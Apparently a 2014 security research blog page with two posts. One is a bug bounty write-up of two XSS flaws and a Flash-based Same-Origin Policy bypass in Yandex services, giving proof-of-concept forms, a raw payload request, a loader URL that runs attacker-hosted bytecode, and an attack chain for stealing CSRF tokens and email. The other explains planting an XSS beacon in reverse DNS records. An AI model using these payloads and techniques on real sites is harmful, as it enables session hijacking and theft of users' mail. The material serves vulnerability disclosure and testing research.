czwartek, 22 maja 2014

Yandex - 2x XSS (duplicates) + Same-Origin Policy Bypass

Here are some writeups of few bugs I found in Yandex services last time.

1) Reflected XSS in http://interactive-answers.webmaster.yandex.com.



While uploading some file on http://interactive-answers.webmaster.yandex.com/gate/add-scheme/get the response would contains JSON with some informations about success or failure. The problem is the response headers:

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 17 Apr 2014 17:13:57 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Content-Type-Options: nosniff
Content-Encoding: gzip

As you can see - it’s html document. As far, as we are able to control part of response content and it’s unescaped - it would render as normal html. That’s typical XSS. JSON contains GET filename parameter unescaped, controlled by us. The Proof of Concept would look like this:

<form method="POST" enctype="multipart/form-data" action="http://interactive-answers.webmaster.yandex.com/gate/add-scheme/get?crc=uc52c5955b971de4d17729378417f305d&filename=b<script>alert(1);</script>">
    <input type="submit">
    <input type="file" name="f"> <!-- just in case -->
</form>


Screenshot:

xss1-1.png



2) Stored XSS in Yandex Maps Constructor (http://api.yandex.ru/maps/tools/constructor/)

This one is also simple - we are just creating new map calling it with some XSS payload.
xss2-1.png


PoC Request:

POST /maps/tools/constructor/proxy.xml HTTP/1.1 Host: api.yandex.ru Connection: keep-alive Content-Length: 422 Accept: application/json, text/javascript, */*; q=0.01 Origin: http://api.yandex.ru X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://api.yandex.ru/maps/tools/constructor/?ncrnd=9364 Accept-Encoding: gzip,deflate,sdch Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.2 Cookie: [my-cookies-here] key=uc52c5955b971de4d17729378417f305d&v=1.0&action=create&map=%7B%22name%22%3A%22a%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E%22%2C%22sid%22%3A%22%22%2C%22size%22%3A%5B600%2C450%5D%2C%22lang%22%3A%22ru-RU%22%2C%22boundedBy%22%3A%5B%5B16.87373%2C52.38846%5D%2C%5B16.97673%2C52.4357%5D%5D%2C%22type%22%3A%22MAP%22%2C%22geoObjects%22%3A%5B%5D%2C%22styles%22%3A%7B%7D%2C%22center%22%3A%5B16.92523%2C52.41209%5D%2C%22zoom%22%3A13%7D

URL decoded map parameter looks this way:
{"name":"a<script>alert(1);</script>","sid":"","size":[600,450],"lang":"ru-RU","boundedBy":[[16.87373,52.38846],[16.97673,52.4357]],"type":"MAP","geoObjects":[],"styles":{},"center":[16.92523,52.41209],"zoom":13}

And the effect is of course alert(1):

xss2-2.png



Those two XSS were duplicates. Also as you can notice, both are unexploitable without having CSRF token (in my case: uc52c5955b971de4d17729378417f305d). That’s why I want to introduce...


3) Same-Origin Policy bypass I was working to find out how steal this token. At first I noticed, that the same CSRF token is used in multiple services (of course different tokens for different users ;)). One of places where this token appears in source code is Yandex Maps. After many days of trying to somehow get secret key - I checked crossdomain.xml. It's a special file used by Flash or Java for Same-Origin Policy purposes. Here’s how it looks for maps.yandex.com:


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
    <site-control permitted-cross-domain-policies="master-only"/>
    <allow-access-from domain="*.yandex.ru"/>
    <allow-access-from domain="*.yandex.ua"/>
    <allow-access-from domain="*.yandex.kz"/>
    <allow-access-from domain="*.yandex.com"/>
    <allow-access-from domain="*.yandex.by"/>
    <allow-access-from domain="swf.static.yandex.net"/> 
    <allow-access-from domain="*.static.yandex.net"/> 
    <allow-access-from domain="yandex.st"/> 
    <allow-access-from domain="*.yandex.st"/>
    <allow-access-from domain="yastatic.net"/>
    <allow-access-from domain="*.yastatic.net"/>
    <allow-access-from domain="img.yandex.net"/>
    <allow-access-from domain="kraski-static.yandex.net"/> 
    <allow-access-from domain="static.music.yandex.net"/>  
    <allow-access-from domain="static.video.yandex.net"/>
    <allow-access-from domain="st.kp.yandex.net"/>
    <allow-access-from domain="*.yandex-team.ru"/>
    <allow-access-from domain="mailstatic.yandex.net"/>   
    <allow-access-from domain="*.yandex.com.tr"/>
    <allow-access-from domain="*.yandex.com"/>
</cross-domain-policy>
<!-- vim: set ts=4 sw=4 et: -->

It means, that Flash application hosted on any domain from above is able to send requests (with credentials) to http://maps.yandex.com and also gain full response content (the same that browsers renders for authenticated user). The problem was that I didn’t had possibility to upload my specially prepared SWF file to be hosted on any of this domains. After lots of research and analysis of swf files hosted on those domains, I found one interesting:


http://kraski-static.yandex.net/kraski-universal-blogplayer.swf

At the moment kraski-static.yandex.net is turned off - but full source code of this file is available here.

I find out that it uses dangerous actionscript function loadBytes() that in short allows attacker to execute own flash bytecode. :) That was great for my case, because flash is able to execute my own code and still beeing hosted from kraski-static.yandex.net (which is one of allowed domains in Yandex Maps crossdomain.xml).
After lots of source code analysis I finally understood what parameters I can control and what kind of external data I can provide to this application - so in the end the PoC for kraski-universal-blogplayer looks like this:

http://kraski-static.yandex.net/kraski-universal-blogplayer-loader.swf?baseUrl=http://kraski.yandex.ru&servantUrl=http://ropchain.org/poc/yandex&uploadUrl=http://ropchain.org/poc/yandex/&cardHash=flower017.jpg.2

Now - servantUrl determine from where data should be loaded. Application make two requests - first one:

http://ropchain.org/poc/yandex/get/jpg/flow/flower017.jpg.2_scr

...which is normal JPEG file, and after clicking Play button (and it’s only one victim’s interaction) it make request to:


...which is XML file. As far as this service (kraski) is not working anymore, I had to determine how the XML file should looks like, to execute my own flash :) Effect:

<?xml version="1.0" encoding="UTF-8"?> <card picturesTotal="1" v="1.0"> <visual type="Picture"> <content>Q1dTDgoFAAB42l1TzW7b(........)TxP9U4ZKU=</content> </visual> </card>

The <content> node contains base64 encoded swf binary - kraski-universal-blogplayer decodes it, and loads using loader.loadBytes(). The source for my flash looks like this:

After running all - Chrome console showed me full content of maps.yandex.com:

csrf1.png


The full attack scenario goes this way:

1. Victim visits malicious site (ropchain.org)
2. Attacker puts there <object> with kraski-universal-blogplayer 
3. Victim click on ‘play’ button.
4. Response from flash, through ExternalInterface.call() arrives to javascript console.log() on ropchain.org domain (SOP bypass)  
5. Because attacker have access to javascript in ropchain.org origin - he can parse response for CSRF token.
6. Attacker exploits both XSS issues, because now he know secret-key value :) (as far as first one is reflected XSS - it cannot be exploited on browsers that uses some Anti-XSS mechanism, but the second one works fine on all modern browsers. That is why on video I’ll show later only one alert will apear (as far as I'm Chrome user). 

The exploit is available here: https://gist.github.com/ZoczuS/9f258fb97f626a175621

Of course - it’s not the end. :) Bypassing Same-Origin Policy can be exploited in worst scenario, because mail.yandex.com have the same crossdomain.xml file. ;-) So attacker is able to read sensitive data such as: user login, user phone number, list of contacts, e-mail subjects and content. Every domain that Yandex own and have similar crossdomain.xml file - is vulnerable to this attack. In mail.yandex.com there are two interactions that victim need to do - first is accept certificate for kraski-static.yandex.net, and second is to click “Play” button.

Second exploit: https://gist.github.com/ZoczuS/c8abb829237cb178d364

And at the end - video demonstration for stealing CSRF token and user e-mails:


wtorek, 6 maja 2014

How Reverse DNS can help us with XSS, SQLi, RCE...

One day I got the idea to put XSS vector into reverse dns record. You know - sometimes webapplication displays IP address AND reverse lookup. As far as people think that there is no need to sanitize displayed revdns records, because as RFC1034 said:

Note that while upper and lower case letters are allowed in domain
names, no significance is attached to the case.  That is, two names with
the same spelling but different case are to be treated as if identical.

The labels must follow the rules for ARPANET host names.  They must
start with a letter, end with a letter or digit, and have as interior
characters only letters, digits, and hyphen.  There are also some
restrictions on the length.  Labels must be 63 characters or less.

...so (theoretically) there is no possibility to have hostname with dangerous characters such as > < ' " and it's XSS safe, right?

Right.

c40957:~ jakub.zoczek$ host 87.204.122.210
210.122.204.87.in-addr.arpa is an alias for 210.192/26.122.204.87.in-addr.arpa.
210.192/26.122.204.87.in-addr.arpa domain name pointer f\"><img/src=http://monitor.ropchain.org/xss.gif>f.x.32s.pl.



That's my blind xss testing IP address. All I need is to visit websites using this address and every time it will be displayed (and interpreted as html) - it should display 1x1 GIF image from my server. In apache log I'll have informations like IP address, User Agent and Referer - so I know where XSS occur.

To configure this kind of environment you will need:

- at least one IPv4 address
- possibility to configure reverse zone on own DNS server.

So - if you have VPS with some IP addresses and possibility to setup reverse dns - it won't work. In most cases configuration of reverse dns is implemented in customer's web panel and restricted to PTR records. If you have possibility to setup CNAME or NS record for your revdns - that's great and it would work. I tried to search for VPS provider who gives this kind of feature for customers and I didn't found single one.

Also - as far as I know - ISP not often want to give such delegations for only few addresses, but there is no problem for full C class or more - they give then for example delegation for all /24 prefix. In Poland - Orange can be solution - there is possibility to setup CNAME records for few addresses.

After months of searching someone who have full class and can borrow me few IP addresses and give delegation - I finally found friend of my who provided me all I need.

So - lets say you have IP address - 1.2.3.4 - the reverse zone configuration for BIND will look like this:


The 1.2.3.4 file:

As you can see - there is no big differences between normal reverse dns configuration. The most important option is check-names ignore; - it will tell BIND that we want to use illegal characters in our DNS records. :)

Problem is that in multiple languages this IP will be resolved normally (with payload), and in others - not. At the moment I checked that it works fine for Linux host, dig, nslookup, Windows nslookup, PHP dns_get_record, python reversename.from_addr(). In future I want to check all other modern languages reverse lookup implementations.

Happy hunting, and btw - check my Yandex.Metrica XSS ;-)